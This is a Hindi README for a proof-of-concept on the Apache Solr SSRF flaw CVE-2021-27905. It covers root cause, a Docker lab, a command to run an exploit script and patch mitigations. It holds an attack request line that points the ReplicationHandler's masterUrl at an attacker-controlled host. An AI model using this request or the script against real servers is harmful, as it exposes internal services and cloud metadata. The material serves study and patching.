
Apache Solr < 8.8.2 सर्वर साइड रिक्वेस्ट फोर्जरी
| क्र. सं. | शीर्षक |
|---|---|
| 1 | अवलोकन |
| 2 | मूल कारण |
| 3 | प्रमाण अवधारणा |
| 4 | शमन (8.8.2+) |
| 5 | संदर्भ |
यह केवल शैक्षिक और अनुसंधान उद्देश्यों के लिए है। इस कोड का उपयोग उन प्रणालियों पर न करें जिनके आप मालिक नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट अनुमति नहीं है। मैं किसी भी दुरुपयोग के लिए जिम्मेदार नहीं हूँ।
यह एक Server Side Request Forgery भेद्यता है जो Apache Solr (< 8.8.2) को प्रभावित करती है, जो दूरस्थ हमलावरों को प्रतिकृति हैंडलर के masterUrl पैरामीटर के माध्यम से आंतरिक या बाहरी सिस्टम पर मनमाने HTTP अनुरोध करने की अनुमति देती है, संभावित रूप से आंतरिक सेवाओं या संवेदनशील क्लाउड मेटाडेटा को उजागर करती है।
प्रभावित संस्करण: 8.8.2 से पहले के सभी संस्करण (7.0.0 - 7.7.3, 8.0.0 - 8.8.1)
Solr में प्रतिकृति तंत्र एक 'replica' को masterUrl या leaderUrl पैरामीटर निर्दिष्ट करके 'master/leader' से इंडेक्स फ़ाइलें लाने की अनुमति देता है। प्रभावित Apache Solr संस्करणों में इस पैरामीटर के माध्यम से इंगित URL को ठीक से मान्य नहीं किया जाता है। इसलिए, यह हमलावरों को सर्वर को उनके द्वारा चुने गए एक दूरस्थ संसाधन से जुड़ने के लिए मनाने की अनुमति देगा।
भेद्य प्रवाह
/solr/<CORE_NAME>/replication?command=fetchindex&masterUrl=http://<ATTACKER_DOMAIN>
Solr का ReplicationHandler:
masterUrl का उपयोग करके इंडेक्स डेटा डाउनलोड करेगा।लैब सेटअप
$ cd lab
$ docker compose up -d
# verify accessibility
$ curl http://127.0.0.1:8983/solr
$ docker compose down
शोषण
# for windows
$ python -m venv <NAME>
$ .\<NAME>\Scripts\activate
# for linux
$ python3 -m venv <NAME>
$ source ./<NAME>/scripts/activate
$ pip install -r requirements.txt
cve-2021-27905.py चलाएँ$ python3 cve-2021-27905.py --target <TARGET> --payload <SSRF_PAYLOAD>

Solr ReplicationHandler को निम्नलिखित के लिए पैच किया गया था:
masterUrl/leaderUrl केवल अनुमोदित होस्ट की ओर इंगित करता है।http, https)।/replication को प्रमाणीकरण के साथ सुरक्षित करने या यदि अनुपयोगी हो तो इसे पूरी तरह से हटाने की सिफारिश करें।